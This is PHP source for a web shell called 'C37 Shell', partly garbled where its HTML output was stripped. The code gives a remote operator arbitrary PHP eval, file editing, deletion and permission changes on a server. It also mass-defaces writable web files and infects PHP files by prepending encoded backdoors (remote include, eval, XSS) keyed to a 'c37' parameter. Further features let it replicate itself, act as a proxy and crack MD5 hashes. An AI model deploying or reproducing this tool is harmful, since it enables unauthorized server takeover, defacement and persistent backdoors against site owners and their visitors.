Server IP: ',$_SERVER['SERVER_ADDR'], ' - Host: ',gethostbyaddr($_SERVER['SERVER_ADDR']), '
Port: ',$_SERVER['SERVER_PORT'], ' - Admin: ',$_SERVER['SERVER_ADMIN']; $T = array('Bytes','KiB','MiB','GiB','TiB','PiB','EiB','ZiB','YiB'); $i = 0; $B = diskfreespace($CDIR); $A = disk_total_space($CDIR); while ($B>=1024) { $B/=1024;++$i; } $Space1=$T[$i]; $i = 0; while ($A>=1024) { $A/=1024;++$i; } $Space2=$T[$i]; printf('

Free Disk Space: %.3f %s Out of %.3f %s (%.2f%%)',$B,$Space1,$A,$Space2,($B/$A) * 100); array_shift($T); echo '

Enter ['; } else { echo ' color="green">'; } echo $A.']
'; echo '
C37 Shell
Back Forward [
Home] [Search] [Encoder] [Eval] [Mail] [Hash Analyzer]'; /* [SQL Man.] */ echo ' [Deface & Infect] [Replicate] '; /* [Proxy] */ echo '[Password] [Remove Shell]



',"\r\n"; if ($IsAction) { if ($_GET['action'] === 'eval') { if (isset($_REQUEST['code'])) { $NA = substr($_REQUEST['code'], 0, 2); if (substr($_REQUEST['code'], 0, 5) === '' || $ND === '%>') { $_REQUEST['code'] = substr($_REQUEST['code'], 0, -2); } } if (isset($_POST['highlight']) && (function_exists('highlight_string') || function_exists('show_source'))) { echo '

Highlighted code:

'; if (function_exists('highlight_string')) { highlight_string(""); } else { show_source(""); } echo '
'; } if (isset($_REQUEST['code']) && !isset($_POST['textarea'])) { echo '
',eval($_REQUEST['code']),'
'; } else { echo '

PHP Code'; if (isset($_REQUEST['code'])) { echo ' Results'; } echo ':


'; } else { echo ''; } echo '

Results in TextArea? '; if (function_exists('highlight_string') || function_exists('show_source')) { echo ' Highlight code '; } echo '


If you don\'t see any output from the script when you should, please check it for Errors.'; } } elseif ($_GET['action'] === 'file' && $ShowFiles) { if (is_file($_GET['file']) || ($_REQUEST['act'] === 'chmod' && is_dir($_GET['file']))) { if (!function_exists('file_get_contents')) { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = fread($handle,sprintf('%u',filesize($File))); fclose($handle); return $contents; } } if (isset($_REQUEST['act'])) { if ($_REQUEST['act'] === 'rename') { if (isset($_REQUEST['name'])) { echo 'File Renaming - Was Successful.'; } else { echo 'color="red">Failed.'; } echo ''; } else { echo '

Rename\Move \'',htmlspecialchars($_GET['file']),'\' To:

'; } } elseif ($_GET['act'] === 'stat') { $Stat = stat($_GET['file']); echo '

',htmlspecialchars($_GET['file']),'

Device Number ',$Stat['dev'],'
Inode Number ',$Stat['ino'],'
Inode protection mode ',$Stat['mode'],'
Number of Links ',$Stat['nlink'],'
User ID ',$Stat['uid'],'
Group ID ',$Stat['gid'],'
Device type, if inode device ',$Stat['rdev'],'
Size in Bytes ',$Stat['size'],'
Time of last access ',$Stat['atime'],' (',date('F d Y H:i:s.',$Stat['atime']),')
Time of last modification ',$Stat['mtime'],' (',date('F d Y H:i:s.',$Stat['mtime']),')
Time of last inode change ',$Stat['ctime'],' (',date('F d Y H:i:s.',$Stat['ctime']),')
Blocksize of filesystem IO ',$Stat['blksize'],'
Number of 512-byte blocks allocated ',$Stat['blocks'],'
'; } elseif ($_GET['act'] === 'chmod') { if (isset($_POST['Perms'])) { echo 'Changed File permissions - successfully (new file permissions: ',substr(sprintf('%o',fileperms($_REQUEST['file'])),-3),').'; } else { echo 'color="red">unsuccessfully.'; } echo ''; } else { $Permissions = substr(sprintf('%o',fileperms($_REQUEST['file'])),-3); echo '

Change \'',htmlspecialchars($_GET['file']),'\' Permissions to:


rwx
Owner:= '4') { echo ' checked="checked"'; } echo ' />= '6') { echo ' checked="checked"'; } echo ' />
Group:= '4') { echo ' checked="checked"'; } echo ' />= '6') { echo ' checked="checked"'; } echo ' />
Others:= '4') { echo ' checked="checked"'; } echo ' />= '6') { echo ' checked="checked"'; } echo ' />

On Windows, The only permissions allowed for files are 666&444.
666 for writeable\readable and 444 for readable.
'; } } elseif ($_GET['act'] === 'delete') { if (unlink($_REQUEST['file'])) { echo '\'',htmlspecialchars($_REQUEST['file']),'\' was successfully Deleted.'; } else { echo 'Error while deleting file.
';GetLastError(); }} elseif ($_GET['act'] === 'copy') { if (isset($_REQUEST['dest'])) { if (copy($_REQUEST['file'],$_REQUEST['dest'])) { echo 'File was copied successfully from \'',realpath($_REQUEST['file']),'\' to \'',$_REQUEST['dest'],'\'.'; } else { echo 'Error while copying file.
';GetLastError(); } } else { echo '

Copy \'',htmlspecialchars($CDIR.$_REQUEST['file']),'\' to file:



Warning: If the destination file already exists, it will be overwritten.'; } } elseif ($_GET['act'] === 'chown') { if (isset($_POST['Owner'])) { echo 'Changing File Owner - Was successful.'; } else { echo 'color="red">Failed.';GetLastError(); } } else { echo '

Change \'',htmlspecialchars($_GET['file']),'\' Owner to:


Only the superuser may change the owner of a file.'; } } elseif ($_GET['act'] === 'chgrp') { if (isset($_POST['Group'])) { echo 'Changing File Group - Was successful.'; } else { echo 'color="red">Failed.';GetLastError(); } } else { echo '

Change \'',htmlspecialchars($_GET['file']),'\' Group to:


Only the superuser may change the group of a file arbitrarily;
other users may change the group of a file to any group of which that user is a member.'; } } elseif ($_GET['act'] === 'touch') { if (isset($_POST['Touch'])) { $TOUCH = FALSE; echo 'Changing File Time - Was successful.'; } else { echo 'color="red">Failed.';GetLastError(); } } else { echo '

Change \'',htmlspecialchars($_GET['file']),'\' Time to:





Use UNIX Timestamp
To change file modification\access time of the file, Just leave the corresponding box with it\'s default value.'; } } elseif ($_GET['act'] === 'base64') { echo '

',htmlspecialchars($_GET['file']),' Base64 Encoded:


'; } elseif ($_GET['act'] === 'compress') { if (isset($_POST['aname']) && isset($_POST['atype'])) { if ($_POST['atype'] === 'ZIP') { $Zip = new ZipArchive; $ArchiveName = $_POST['aname']; while (file_exists($ArchiveName.'.zip')) { $ArchiveName .= '7'; } $Zip->open($ArchiveName.'.zip',ZIPARCHIVE::CREATE); if ($Zip->addFile($_GET['file'])) { echo 'Compressed successfully, archive: ',htmlspecialchars($ArchiveName),'.zip'; } else { echo 'Could not compress file.'; } $Zip->close(); } elseif ($_POST['atype'] === 'Bzip2') { $ArchiveName = $_POST['aname']; while (file_exists($ArchiveName.'.bz2')) { $ArchiveName .= '7'; } $Handle = bzopen($ArchiveName.'.bz2','w'); if (bzwrite($Handle,file_get_contents($_GET['file'])) !== FALSE) { echo 'Compressed successfully, archive: ',htmlspecialchars($ArchiveName),'.bz2'; } else { echo 'Could not compress file.'; } bzclose($Handle); } elseif ($_POST['atype'] === 'Gzip') { $ArchiveName = $_POST['aname']; while (file_exists($ArchiveName.'.gz')) { $ArchiveName .= '7'; } $Handle = gzopen($ArchiveName.'.gz','w'); if (gzwrite($Handle,file_get_contents($_GET['file'])) !== FALSE) { echo 'Compressed successfully, archive: ',htmlspecialchars($ArchiveName),'.gz'; } else { echo 'Could not compress file.'; } gzclose($Handle); } } echo '

Compress ',htmlspecialchars($_GET['file']),':


Create a archive named

You do not need to write the archive extension.
The archive name will also be the compressed file name except when choosing ZIP, in that case, the compressed file name will be: ',htmlspecialchars($_GET['file']),'. '; } elseif ($_GET['act'] === 'gzip') { if (function_exists('gzencode')) { echo '

',htmlspecialchars($_GET['file']),' Gzip Compressed:


'; } else { echo 'Can\'t Compress.'; } } elseif ($_GET['act'] === 'deflate') { if (function_exists('gzencode')) { echo '

',htmlspecialchars($_GET['file']),' Deflate Compressed:


'; } else { echo 'Can\'t Compress.'; } } } else { if (isset($_POST['save'])) { if (is_writable($_REQUEST['file'])) { if (isset($_REQUEST['fileEdit'])) { if (function_exists('file_put_contents')) { if (file_put_contents($_REQUEST['file'],$_REQUEST['fileEdit'])) { echo 'File Was Saved successfully!
'; } else { echo 'File Could not be Saved.
';GetLastError(); } } elseif (function_exists('fopen') && (function_exists('fwrite') || function_exists('fputs') || function_exists('fputcsv'))) { if (!$Handle = fopen($_REQUEST['file'], 'wb')) { echo 'Cannot open ',htmlspecialchars($_REQUEST['file']); } else { if (function_exists('fwrite')) { if (fwrite($Handle,$_REQUEST['fileEdit'])) { echo 'File Was Saved successfully!
'; } else { echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']); } } elseif (function_exists('fputs')) { if (fputs($Handle,$_REQUEST['fileEdit'])) { echo 'File Was Saved successfully!
'; } else { echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']); } } else { if (fputcsv($Handle,array($_REQUEST['fileEdit']))) { echo 'File Was Saved successfully!
'; } else { echo 'Cannot write to ',htmlspecialchars($_REQUEST['file']); } } fclose($Handle); } } elseif (function_exists('exec')) { exec('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } elseif (function_exists('system')) { system('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } elseif (function_exists('shell_exec')) { shell_exec('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } elseif (function_exists('passthru')) { passthru('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file']); } elseif (function_exists('popen')) { pclose(popen('echo '.$_REQUEST['fileEdit'].' >> '.$_REQUEST['file'])); } else { echo 'File Could not be Saved (no available functions).
'; } } else { echo 'Provide New Content.'; } } else { echo 'File is not Writeable.'; } } $Ext = substr(strrchr(strtolower($_GET['file']), '.'), 1); echo '

'; if (strpos($_SERVER['HTTP_USER_AGENT'],'Firefox') !== FALSE && strpos($_SERVER['HTTP_USER_AGENT'],'Windows') !== FALSE && !empty($Ext)) { echo ' '; } else { echo ' '; } echo htmlspecialchars($_GET['file']),' Download

MIME Type: '; if (class_exists('finfo')) { $finfo = new finfo(FILEINFO_MIME); echo $finfo->file($_REQUEST['file']); } elseif (function_exists('mime_content_type')) { echo mime_content_type($_REQUEST['file']); } elseif (function_exists('apache_lookup_uri')) { $Info = apache_lookup_uri($_REQUEST['file']); echo $Info->content_type; } else { echo 'N/A'; } echo '
File Perms: '; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A,' (0', substr(sprintf('%o',fileperms($_REQUEST['file'])),-3).')
File Size: '; $S = 0; $B = sprintf('%u', filesize($_GET['file']));while ($B>=1024) { $B/=1024;++$S; } if ($S === 0) { echo $B,' Bytes
'; } else {printf('%.3f %s
',$B,$T[$S-1]); $S = 0; } if (function_exists('md5_file') && sprintf('%u', filesize($_GET['file'])) <= 209715200) { echo 'MD5: ',md5_file($_GET['file']),'
'; } if (function_exists('sha1_file') && sprintf('%u', filesize($_GET['file'])) <= 209715200) { echo 'SHA-1: ',sha1_file($_REQUEST['file']),'
'; } echo 'Last modified: ',date('F d Y H:i:s.',filemtime($_REQUEST['file'])),'
Is Uploaded File: ',(is_uploaded_file($_GET['file']) ? 'Yes':'No'),'
Is Executable: ',(is_executable($_GET['file']) ? 'Yes':'No'),'
Is Writeable: ',(is_writable($_GET['file']) ? 'Yes':'No'),'
[Text---]
[PHP----]
[INI----]
[Image--]
[Object-]
[HexDump]
[RAR----]
[ZIP----]
'; if (in_array(substr(strrchr(strtolower($_GET['file']), '.'), 1),array('php','phtml','php3','php4','php5','php6','phtm','phps'))) { echo '[Eval]'; } echo '

Delete | Rename\Move | Copy | Chmod | Chown | Chgrp | Stat | Touch | GZip | Deflate | Base64 | Compress

'; if (sprintf('%u', filesize($_GET['file'])) <= 10485760 || isset($_GET['OpenWith']) || in_array($Ext,array('zip','docx','dotx','xpi','dotm','xlsx','xltx','potx','ppsx','pptx','sldx','xlam','xlsb','jar'), TRUE)) { if ((!isset($_GET['OpenWith']) && in_array($Ext,array('php','phtml','php3','php4','php5','php6','phtm','phps'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'php')) { if (sprintf('%u', filesize($_GET['file'])) === 0) { echo 'PHP Script Size is 0. (No highlighting)'; } else { if (function_exists('highlight_file')) { echo '
'; highlight_file($_GET['file']); echo '
'; } elseif (function_exists('show_source')) { echo '
'; show_source($_GET['file']); echo '
'; } else { echo 'Couldn\'t highlight file using highlight_file() or show_source() functions.'; } } } elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('png','gif','jpg','jpeg','bmp'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'image')) { $Size = getimagesize($_GET['file']); echo '


[',$Size[0],'X',$Size[1],'] | Print image

Dimensions: X'; } elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('ini','inf'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'ini')) { echo '

';print_r(parse_ini_file($_REQUEST['file'],TRUE)); echo '
'; } elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('exe','dll','so','bin','obj','com','dylib'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'hexdump')) { $Size = sprintf('%u', filesize($_GET['file'])); if (!isset($_GET['show']) && $Size > 96) { $Size = 96; echo '[+] Expand to Full

'; } $File = file_get_contents($_GET['file']); echo ''; $Last = 16; $ORDedArray = array(); for ($i = 0; $i < $Size; $i += 16) { if ($Size - $i < 16) { $Last = $Size - $i; } for ($k = 0; $k < $Last; $k++) { $ORDedArray[$k] = ord($File[$i + $k]); } printf('', $i); for ($k = 0; $k < $Last; $k++) { printf('', $ORDedArray[$k]); } if ($Last < 16) { for (; $k < 16; $k++) { echo ''; } } for ($k = 0; $k < $Last; $k++) { if ($ORDedArray[$k] <= 31) { echo ''; } else { echo ''; } } echo ''; } echo '
%08X%02X.', $File[$i + $k], '
'; } elseif ((!isset($_GET['OpenWith']) && $Ext === 'rar') || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'rar')) { if (class_exists('RarArchive')) { $rar_arch = RarArchive::open($_GET['file']); if ($rar_arch !== FALSE) { $rar_entries = $rar_arch->list(); if ($rar_entries === FALSE) { echo 'Could not retrieve entries.'; } else { echo 'Found ',count($rar_entries),' entries.
'; foreach ($rar_entries as $e) { echo $e, '
'; } } $rar_arch->close(); } else { echo 'Could not open RAR archive.'; } } else { echo 'The RarArchive class does not exist.'; } } elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('zip','docx','dotx','xpi','dotm','xlsx','xltx','potx','ppsx','pptx','sldx','xlam','xlsb','jar'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'zip')) { if (function_exists('zip_open')) { if (class_exists('ZipArchive')) { if (isset($_POST['extdir'])) { if (!is_dir(realpath($_POST['extdir']))) { echo 'Invalid directory to extract the files to.'; } else { $zip = new ZipArchive; $res = $zip->open($_GET['file']); if ($res === TRUE) { $Result = $zip->extractTo($_POST['extdir']); $zip->close(); if ($Result) { echo 'Extracted successfully to \'',htmlspecialchars(realpath($_POST['extdir'])),'\''; } else { echo 'Error while extracting files.'; GetLastError(); } } } } echo '

Extract to:

'; } $ZipRes = zip_open($_GET['file']); if (is_resource($ZipRes)) { echo '

Zip entries:

'; while ($ZipRead = zip_read($ZipRes)) { echo ''; } echo '
NameSizeCompressed sizeCompression method
',zip_entry_name($ZipRead),''; $S = 0; $B = sprintf('%u', zip_entry_filesize($ZipRead));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo ''; $S = 0; $B = sprintf('%u', zip_entry_compressedsize($ZipRead));while ($B>=1024) { $B/=1024;++$S; }if ($S === 0) { echo $B,' Bytes'; } else {printf('%.3f %s',$B,$T[$S-1]); $S = 0; } echo '',zip_entry_compressionmethod($ZipRead),'
'; zip_close($ZipRes); } else { echo 'Could not open ZIP archive.'; } } else { echo 'The ZipArchive class does not exist.'; } } elseif ((!isset($_GET['OpenWith']) && in_array($Ext,array('pdf','swf','wav','mid','avi','ogg','wmv','mov','mpg','mp3','doc','svg'), TRUE)) || (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'object')) { echo 'Your browser does not support this Object type or you don\'t have the needed Plug-in. (alt: Direct Link) '; } elseif (isset($_GET['OpenWith']) && $_GET['OpenWith'] === 'base64') { echo ''; } else { echo '


'; } } else { echo '\'',htmlspecialchars($_GET['file']),'\' is too big (>10MiB) to send.'; } } } else { echo '\'',htmlspecialchars($_GET['file']),'\' Does Not Exist.

Create?'; } } if ($_GET['action'] === 'CLI') { echo '
',htmlspecialchars($CDIR),' >_

'; } elseif ($_GET['action'] === 'dir') { echo '

',htmlspecialchars(realpath($_GET['dirname'])),'

Permissions: '; } elseif ($B === 'rwx'||$B === 'rw-') { echo ' color="green">'; } else { echo '>'; } echo $A.' (0'.substr(sprintf('%o',fileperms($_GET['dirname'])),-3).')
Last Modified: ',date ('F d Y H:i:s.', filemtime($_GET['dirname'])),'
Last Accessed: ',date ('F d Y H:i:s.', fileatime($_GET['dirname'])),'
Last Inode Change: ',date ('F d Y H:i:s.', filectime($_GET['dirname'])),'
'; $dir = array(); if (function_exists('scandir')) { $dir = scandir($_GET['dirname']); } elseif (function_exists('glob')) { $dir = glob($_GET['dirname']); $GLOB = TRUE; } elseif (function_exists('opendir') && function_exists('readdir')) { $i = 0; $Handle = opendir($_GET['dirname']); while (($File = readdir($Handle))) { $dir[$i++] = $File; } closedir($Handle); } if (count($dir) !== 0) { $Dirs = 0; $Files = 0; foreach ($dir AS $FILE) { if (is_dir($FILE)) {++$Dirs; } else {++$Files; } } if (!isset($GLOB)) { $Dirs -= 2; } echo 'Contains ',$Files,' files and ',$Dirs, ' Directories
'; } echo '
'; } elseif ($_GET['action'] === 'encoder') { echo '

Encoder/Decoder/Hasher/Base converter/MD5 cracker

Text:
HMAC Key:
Crypt() salt:


'; if (isset($_POST['Plain'])) { echo '

Hashesums
Crypt:
'; if (function_exists('hash') && empty($_POST['HMACKey'])) { $Hashes = hash_algos();foreach ($Hashes AS $HASH) { echo strtoupper($HASH).':
'; }} elseif (!empty($_POST['HMACKey']) && function_exists('hash_hmac')) { $Hashes = hash_algos();foreach ($Hashes AS $HASH) { echo strtoupper($HASH).' HMAC:
'; }} elseif (function_exists('mhash')) { $Hashes = array('ADLER32',MHASH_ADLER32,'CRC32',MHASH_CRC32,'CRC32B',MHASH_CRC32B,'GOST',MHASH_GOST,'HAVAL128',MHASH_HAVAL128,'HAVAL160',MHASH_HAVAL160,'HAVAL192',MHASH_HAVAL192,'HAVAL256',MHASH_HAVAL256,'MD4',MHASH_MD4,'MD5',MHASH_MD5,'RIPEMD160',MHASH_RIPEMD160,'SHA1',MHASH_SHA1,'SHA256',MHASH_SHA256,'TIGER',MHASH_TIGER,'TIGER128',MHASH_TIGER128,'TIGER160',MHASH_TIGER160); if (empty($_POST['HMACKey'])) { for ($i = 0, $j = 0; $i < 16; $i++, $j+=2) { echo $Hashes[$j],':
'; } } else { for ($i = 0, $j = 0; $i < 16; $i++, $j+=2) { echo $Hashes[$j],' HMAC:
'; } } } else { echo 'MD5: '; if (function_exists('sha1')) { echo '
SHA-1: '; } if (function_exists('crc32')) { echo '
CRC-32: '; } } echo '

Encoder\Decoder
Base64 Encode:
Base64 Decode:
URL Encode:
URL Decode:
HTMLSpecialChars Encode:
'; if (function_exists('htmlspecialchars_decode')) { echo 'HTMLSpecialChars Decode:
'; } if (function_exists('convert_uuencode')) { echo 'UUEncode:
'; } if (function_exists('convert_uudecode')) { echo 'UUDecode:
'; } echo 'ROT13:
'; if (is_numeric($_POST['Plain'])) { $Bases = array('Hex2Dec',16,10,'Hex2Oct',16,8,'Hex2Bin',16,2,'Dec2Hex',10,16,'Dec2Oct',10,8,'Dec2Bin',10,2,'Oct2Hex',8,16,'Oct2Dec',8,10,'Oct2Bin',8,2,'Bin2Hex',2,16,'Bin2Dec',2,10,'Bin2Oct',2,8); echo '
Base Convertor
'; for ($i = 0, $j = 0; $i < 12; $i++, $j+=3) { if ($i % 3 === 0) { echo ''; } echo $Bases[$j],': '; } echo '
'; unset($Bases); } if (preg_match('/^[0-9a-zA-Z]{32}$/',$_POST['Plain'])) { echo '
MD5 Cracking By Rainbow Tables

'; } } } elseif ($_GET['action'] === 'search') { echo '
Search for files and directories that their name
Directory:

case-insensitive

On Windows, use //computername/share/filename or \\computername\share\filename to check files on network shares.

Warning: The search may show false results due to Safe Mode restrictions!


'; } /*elseif ($_GET['action'] === 'ManSQL') { if (isset($_POST['server']) && empty($_POST['server']) === FALSE) { if ($_POST['servertype'] === 'MySQL') { if (mysql_connect()) }) elseif ($_POST['servertype'] === 'MSSQL') { } } else { echo '

Connect To SQL Server:

'; } //echo '
SQL Version
'; }*/ elseif ($_GET['action'] === 'MassDeface') { if (isset($_POST['Opt1'])) { $Files = array(); if (function_exists('scandir')) { $dir = scandir('.'); } elseif (function_exists('opendir') && function_exists('readdir')) { $Handle = opendir('.'); while (($File = readdir($Handle))) { $dir[$i++] = $File; } closedir($Handle); sort($dir); } else { $dir = glob('*'); } if ($_POST['type'] === 'All') { for ($i = 0, $k = 0, $Z = count($dir); $i < $Z; $i++) { if (is_file($dir[$i]) && is_writable($dir[$i])) { $Files[$k++] = $dir[$i]; } } } else { for ($i = 0, $k = 0, $Z = count($dir); $i < $Z; $i++) { $Ext = substr(strrchr(strtolower($dir[$i]), '.'), 1); if (is_file($dir[$i]) && is_writable($dir[$i]) && in_array($Ext,array('html','htm','xhtml','xht','xml','shtml','xhtm','php','phtml','php3','php4','php5','php6','phtm','phps','asp','asphtml','aspx','jsp','cfm','cfml','py','pl','cgi','rb','rhtml'),TRUE)) { $Files[$k++] = $dir[$i]; } } } if (count($Files) === 0) { echo 'There are no writeable files in the directory'; if ($_POST['type'] !== 'All') { echo ' with a valid extension.'; } else { echo '.'; } echo '
'; } else { $Z = count($dir); if (function_exists('file_put_contents')) { for ($i = 0; $i <= $Z; $i++) { file_put_contents($Files[$i], $_POST['content']); } $Suc = TRUE; } elseif (function_exists('fopen') && function_exists('fwrite')) { for ($i = 0; $i <= $Z; $i++) { $Handle = fopen($Files[$i],'wb'); fwrite($Handle,$_POST['content']); fclose($Handle); } $Suc = TRUE; } elseif (function_exists('fopen') && function_exists('fputs')) { for ($i = 0; $i <= $Z; $i++) { $Handle = fopen($Files[$i],'wb'); fputs($Handle,$_POST['content']); fclose($Handle); } $Suc = TRUE; } elseif (function_exists('fopen') && function_exists('fputcsv')) { for ($i = 0; $i <= $Z; $i++) { $Handle = fopen($Files[$i],'wb'); fputcsv($Handle,array($_POST['content'])); fclose($Handle); } $Suc = TRUE; } if (!isset($Suc)) { echo 'Could not deface files. (No available functions)
'; } else { echo 'Files defaced successfully.
'; } } } else if (isset($_POST['Opt2'])) { if (!empty($_POST['vuln'])) { $dir = array(); if (isset($_POST['filename'])) { $dir[0] = $_POST['filename']; } else { if (function_exists('scandir')) { $dir = scandir($CDIR); } elseif (function_exists('glob')) { $dir = glob($CDIR); $GLOB = TRUE; } elseif (function_exists('opendir') && function_exists('readdir')) { $j = 0; $Handle = opendir($CDIR); while (($File = readdir($Handle))) { $dir[$j++] = $File; } closedir($Handle); } } $FilesCount = 0; $Files = array(); if (count($dir) !== 0) { foreach ($dir AS $FILE) { if (is_file($FILE)) { $Ext = substr(strrchr(strtolower($FILE), '.'), 1); if (in_array($Ext,array('php','phtml','php3','php4','php5','php6','phtm','phps'),TRUE)) { $Files[$FilesCount++] = $FILE; } } } } else { echo 'There are no files or sub-directories in this directory.
'; } if (count($Files) === 0) { echo 'There are no PHP scripts in the directory.
'; } if (!function_exists('file_get_contents') && (function_exists('fopen') && (function_exists('fread') || function_exists('fgets') || function_exists('fgetc')))) { if (function_exists('fread')) { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = fread($handle,sprintf('%u',filesize($File))); fclose($handle); return $contents; } } elseif (function_exists('fgets')) { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = ''; $Line = ''; do { $Line = fgets($handle,sprintf('%u',filesize($File))); $contents .= $Line; } while ($Line !== FALSE); fclose($handle); return $contents; } } else { function file_get_contents($File) { $handle = fopen($File, 'rb'); $contents = ''; $Character = ''; do { $Character = fgetc($handle,sprintf('%u',filesize($File))); $contents .= $Character; } while ($Character !== FALSE); fclose($handle); return $contents; } } } else { $FilesCount = 0; echo 'Could not read files (no available functions).'; } if (!function_exists('file_put_contents') && (function_exists('fopen') && (function_exists('fputs') || function_exists('fwrite') || function_exists('fputcsv')))) { if (function_exists('fwrite')) { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); fwrite($handle,$StringT); fclose($handle); } } elseif (function_exists('fputs')) { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); fputs($handle,$StringT); fclose($handle); } } else { function file_get_contents($File,$StringT) { $handle = fopen($File, 'wb'); fputcsv($handle,array($StringT)); fclose($handle); } } } else { $FilesCount = 0; echo 'Could not write to files (no available functions).'; } $AVuln = ''; if ($_POST['vuln'] === 'RFII') { $AVuln = 'if(@function_exists(\'include\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'include_once\')) {@include_once($_POST[\'c37\']); }'; } elseif ($_POST['vuln'] === 'RFIR') { $AVuln = 'if(@function_exists(\'require\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'require_once\')) {@require_once($_POST[\'c37\']); }'; } elseif ($_POST['vuln'] === 'RFIB') { $AVuln = 'if(@function_exists(\'include\')) {@include($_POST[\'c37\']); } elseif(@function_exists(\'include_once\')) {@include_once($_POST[\'c37\']); } elseif(@function_exists(\'require\')) {@require($_POST[\'c37\']); } elseif(@function_exists(\'require_once\')) {@require_once($_POST[\'c37\']); }'; } elseif ($_POST['vuln'] === 'XSS') { $AVuln = 'echo $_POST[\'c37\'];'; } elseif ($_POST['vuln'] === 'Eval') { $AVuln = '@eval($_POST[\'c37\']);'; } elseif ($_POST['vuln'] === 'My' && !empty($_POST['mycode'])) { $AVuln = $_POST['mycode']; } else { echo 'Please select a valid vulnerability.
'; $FilesCount = 0; } if (function_exists('eval')) { if ($_POST['encode'] === 'Base64' && function_exists('base64_encode') && function_exists('base64_decode')) { $AVuln = '@eval(@base64_decode(\''.base64_encode($AVuln).'\'));'; } elseif ($_POST['encode'] === 'Rot13' && function_exists('str_rot13')) { $AVuln = '@eval(@str_rot13(\''.str_rot13($AVuln).'\'));'; } elseif ($_POST['encode'] === 'UUEncode' && function_exists('convert_uuencode') && function_exists('convert_uudecode')) { $AVuln = '@eval(@convert_uudecode(\''.convert_uuencode($AVuln).'\'));'; } elseif ($_POST['encode'] === 'URLEncode' && function_exists('rawurldecode')) { $vulnlength = strlen($AVuln); $UrlencodedS = ''; for ($i = 0; $i < $vulnlength; $i++) { $UrlencodedS .= '%'.dechex(ord($AVuln[$i])); } $AVuln = '@eval(@rawurldecode(\''.$UrlencodedS.'\'));'; } } $VulnString = ''; for ($i = 0; $i<$FilesCount; $i++) { if (is_readable($Files[$i]) && is_writable($Files[$i])) { $FileContents = file_get_contents($Files[$i]); if (file_put_contents($Files[$i],$VulnString.$FileContents)) { echo '\'',$Files[$i],'\' infected.
'; } else { echo '\'',htmlspecialchars($Files[$i]),'\' not infected.
'; } } else { echo '\'',htmlspecialchars($Files[$i]),'\' is not readable or is not writeable.
'; } } } } echo '

Change the content of the files in ',htmlspecialchars($CDIR),' to:



Only affected web file extensions: html|htm|xhtml|xht|xml|shtml|xhtm|php|phtml|php3|php4|php5|php6|phtm|phps|asp|asphtml|aspx|jsp|cfm|cfml|py|pl|cgi|rb|rhtml



Infect Files

Inject code to using encoding

Usage: example.php?c37=<script>alert(\'XSS\');</script>
If the encoding function or eval() does not exist, the infection encoding will be set to none.
Only affected extensions: php|phtml|php3|php4|php5|php6|phtm|phps

'; } elseif ($_GET['action'] === 'Replicator') { if (isset($_POST['file'])) { if (is_file($_POST['file']) || empty($_POST['file'])) { echo htmlspecialchars(realpath($_POST['file'])),' already exists or you did not provide a file location.

'; } else { if (copy(__FILE__,$_POST['file'])) { echo 'Replicated successfully.'; $Suc = TRUE; } } } elseif (!isset($Suc)) { echo '
Replicate the shell to:
'; } } elseif ($_GET['action'] === 'Proxy') { if (function_exists('curl_init') && function_exists('curl_exec') && function_exists('curl_setopt')) { $cURLinfo = curl_version(); echo '
Go to:

Options

User agent:

This script uses cURL ',$cURLinfo['version'], ' (',$cURLinfo['host'],')', ', ',$cURLinfo['ssl_version'], ' & zlib ',$cURLinfo['libz_version'],'.
', 'Supported protocols: | '; foreach ($cURLinfo['protocols'] AS $Prot) { echo $Prot,' | '; } } else { echo 'cURL is not available!

'; } } elseif ($_GET['action'] === 'HashAnalyzer') { echo '
Hash Analyzer
'; if (isset($_POST['hash'])) { function CheckHEX($Hash, $Case) { if (preg_match('/^[0-9a-fA-F]+$/',$Hash)) { return 1; } else { return 0; } } function CheckBase64($Hash) { if (preg_match('/^[0-9a-zA-Z+\/.]+==$/',$Hash)) { return 1; } else { return 0; } } echo '

Possible Algorithms:

    '; $StrLen = strlen($_POST['hash']); if ($StrLen === 32) { if (CheckHEX($_POST['hash'])) { echo '
  1. MD5
  2. MD4
  3. MD2
  4. NTLM
  5. Tiger128
  6. SNEFRU128
  7. RipeMD128
  8. Haval128_3
  9. Haval128_4
  10. Haval128_5
  11. Domain Cached Credentials
  12. '; } elseif (preg_match('/^[0-9A-F]+$/',$_POST['hash'])) { echo '
  13. Windows-LM
  14. Windows-NTLM
  15. RC4
  16. '; } elseif (preg_match('/^[0-9a-zA-Z+\/.]+$/',$_POST['hash'])) { echo '
  17. Haval192 (Base64)
  18. Tiger-192 (Base64)
  19. '; } } elseif ($StrLen === 40) { if (CheckHEX($_POST['hash'])) { echo '
  20. SHA-0
  21. SHA-1
  22. Tiger160
  23. RipeMD160
  24. MySQL v5.x
  25. Haval160
  26. Haval160_3
  27. Haval160_4
  28. Haval160_5
  29. '; } } elseif ($StrLen === 8) { if (CheckHEX($_POST['hash'])) { echo '
  30. ADLER32
  31. CRC-32
